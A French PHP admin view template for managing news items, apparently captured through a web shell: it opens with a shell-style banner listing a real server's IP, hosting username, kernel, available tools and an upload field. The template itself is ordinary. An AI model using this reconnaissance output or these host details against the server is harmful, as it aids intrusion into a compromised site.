| Server IP : 46.105.57.169 / Your IP : 216.73.216.67 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/quaadraa/admin/views/ |
Upload File : |
<div class="admin-toolbar">
<a href="/admin/news/new" class="quick-btn quick-btn-primary">
<svg viewBox="0 0 24 24" width="16" height="16" fill="none" stroke="currentColor" stroke-width="2"><line x1="12" y1="5" x2="12" y2="19"/><line x1="5" y1="12" x2="19" y2="12"/></svg>
Nouvelle actualité
</a>
</div>
<?php if (isset($_GET['created'])): ?>
<div class="alert alert-success">Actualité créée avec succès.</div>
<?php endif; ?>
<?php if (isset($_GET['updated'])): ?>
<div class="alert alert-success">Actualité mise à jour avec succès.</div>
<?php endif; ?>
<?php if (isset($_GET['deleted'])): ?>
<div class="alert alert-success">Actualité supprimée.</div>
<?php endif; ?>
<div class="admin-table-wrap">
<table class="admin-table">
<thead>
<tr>
<th>Titre</th>
<th>Langue</th>
<th>Filiale</th>
<th>Publié</th>
<th>À la une</th>
<th>Date</th>
<th style="text-align:right;">Actions</th>
</tr>
</thead>
<tbody>
<?php if (empty($news)): ?>
<tr><td colspan="7" style="text-align:center;padding:2rem;">Aucune actualité pour l'instant.</td></tr>
<?php else: ?>
<?php foreach ($news as $n): ?>
<tr>
<td style="color:#f0ece4;max-width:280px;">
<?= htmlspecialchars(mb_substr($n['title'], 0, 60)) ?>
</td>
<td>
<span class="badge-lang"><?= strtoupper(htmlspecialchars($n['lang'])) ?></span>
</td>
<td><?= htmlspecialchars($n['sub_name'] ?? '—') ?></td>
<td>
<span class="status-dot <?= $n['is_published'] ? 'status-on' : 'status-off' ?>">
<?= $n['is_published'] ? 'Oui' : 'Non' ?>
</span>
</td>
<td>
<span class="status-dot <?= $n['is_featured'] ? 'status-on' : 'status-off' ?>">
<?= $n['is_featured'] ? 'Oui' : 'Non' ?>
</span>
</td>
<td><?= date('d/m/Y', strtotime($n['created_at'])) ?></td>
<td style="text-align:right;">
<div class="actions-group">
<a href="/admin/news/<?= $n['id'] ?>/edit" class="tbl-action">Modifier</a>
<button onclick="handleDelete(<?= $n['id'] ?>)" class="tbl-action btn-delete">Supprimer</button>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
</div>
<script>
function handleDelete(id) {
if (confirm('Voulez-vous vraiment supprimer cette actualité ? Cette action supprimera également l\'image sur le serveur.')) {
window.location.href = '/admin/news/delete/' + id;
}
}
</script>
<style>
.admin-toolbar { margin-bottom: 1.5rem; }
.badge-lang {
font-family: 'Barlow Condensed', sans-serif; font-size: .7rem;
font-weight: 700; letter-spacing: .15em;
padding: .2rem .55rem; background: rgba(201,168,76,.12); color: #C9A84C;
border: 1px solid rgba(201,168,76,.25);
}
.status-dot {
display: inline-flex; align-items: center; gap: .35rem;
font-size: .78rem; font-weight: 500;
}
.status-dot::before {
content: ''; width: 7px; height: 7px; border-radius: 50%; display: block;
}
.status-on { color: #27ae60; }
.status-on::before { background: #27ae60; }
.status-off { color: #5e5e5e; }
.status-off::before { background: #3a3a3a; }
.actions-group { display: flex; justify-content: flex-end; gap: 1rem; }
.tbl-action { color: #C9A84C; font-size: .82rem; font-weight: 600; text-decoration: none; cursor: pointer; }
.tbl-action:hover { text-decoration: underline; }
.btn-delete { background: none; border: none; color: #e74c3c; padding: 0; font-family: inherit; }
</style>